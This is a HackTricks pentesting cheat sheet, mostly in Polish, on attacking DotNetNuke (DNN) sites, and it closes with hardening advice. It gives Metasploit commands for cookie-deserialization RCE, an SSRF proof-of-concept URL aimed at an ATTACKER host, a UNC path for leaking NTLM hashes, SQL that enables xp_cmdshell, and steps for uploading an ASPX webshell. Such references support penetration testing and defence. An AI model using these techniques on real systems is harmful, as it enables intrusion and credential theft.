DotNetNuke (DNN)
Reading time: 4 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
DotNetNuke (DNN)
Jeśli zalogujesz się jako administrator w DNN, łatwo uzyskać RCE, jednak w ciągu ostatnich kilku lat opublikowano szereg technik nieautoryzowanych i po autoryzacji. Poniższa ściągawka zbiera najbardziej przydatne prymitywy zarówno do pracy ofensywnej, jak i defensywnej.
Wersja i enumeracja środowiska
- Sprawdź nagłówek odpowiedzi HTTP X-DNN – zazwyczaj ujawnia dokładną wersję platformy.
- Kreator instalacji ujawnia wersję w
/Install/Install.aspx?mode=install
(dostępne w bardzo starych instalacjach). /API/PersonaBar/GetStatus
(9.x) zwraca blob JSON zawierający"dnnVersion"
dla użytkowników o niskich uprawnieniach.- Typowe ciasteczka, które zobaczysz na działającej instancji:
.DOTNETNUKE
– bilet uwierzytelniania formularzy ASP.NET.DNNPersonalization
– zawiera dane profilu użytkownika w formacie XML/serializowanym (stare wersje – patrz RCE poniżej).
Wykorzystanie bez autoryzacji
1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)
Wersje dotknięte ≤ 9.3.0-RC
DNNPersonalization
jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Opracowane XML może zatem prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Wykorzystanie działa bez uwierzytelnienia w wersjach 7.x–9.1.x oraz z zweryfikowanym kontem o niskich uprawnieniach w wersjach 9.2.x+.
2. Server-Side Request Forgery (CVE-2025-32372)
Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025
Ominięcie starszej poprawki DnnImageHandler
umożliwia atakującemu zmuszenie serwera do wydawania dowolnych żądań GET (pół-ślepy SSRF). Praktyczne skutki:
- Wewnętrzne skanowanie portów / odkrywanie usług metadanych w wdrożeniach w chmurze.
- Uzyskanie dostępu do hostów, które są inaczej chronione przed Internetem.
Dowód koncepcji (zastąp TARGET
i ATTACKER
):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.
3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)
Dotknięte wersje 6.0.0 – 9.x (< 10.0.1)
Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą ścieżki UNC takiej jak \\attacker\share\img.png
. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do 10.0.1 lub wyłącz wychodzący SMB w zaporze.
4. Ominięcie filtra IP (CVE-2025-52487)
Jeśli administratorzy polegają na Filtrach Host/IP w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed 10.0.1 mogą być ominięte poprzez manipulację X-Forwarded-For
w scenariuszu odwrotnego proxy.
Post-autoryzacja do RCE
Poprzez konsolę SQL
W Ustawienia → SQL
wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć xp_cmdshell
i uruchomić polecenia:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
Via ASPX webshell upload
- Przejdź do
Settings → Security → More → More Security Settings
. - Dodaj
aspx
(lubasp
) do Allowable File Extensions i Zapisz. - Przejdź do
/admin/file-management
i załadujshell.aspx
. - Uruchom go pod
/Portals/0/shell.aspx
.
Privilege Escalation on Windows
Gdy uzyskasz wykonanie kodu jako IIS AppPool<Site>, stosuje się powszechne techniki eskalacji uprawnień w systemie Windows. Jeśli system jest podatny, możesz wykorzystać:
- PrintSpoofer / SpoolFool do nadużycia SeImpersonatePrivilege.
- Juicy/Sharp Potatoes do ucieczki z Service Accounts.
Hardening Recommendations (Blue Team)
- Upgrade do co najmniej 9.13.9 (naprawia obejście SSRF) lub najlepiej 10.0.1 (problemy z filtrowaniem IP i NTLM).
- Usuń pozostałe pliki
InstallWizard.aspx*
po instalacji. - Wyłącz wychodzący SMB (porty 445/139).
- Wymuś silne Host Filters na krawędzi proxy zamiast w DNN.
- Zablokuj dostęp do
/API/RemoteContentProxy
, jeśli nie jest używane.
References
- Metasploit
dnn_cookie_deserialization_rce
module documentation – practical unauthenticated RCE details (GitHub). - GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.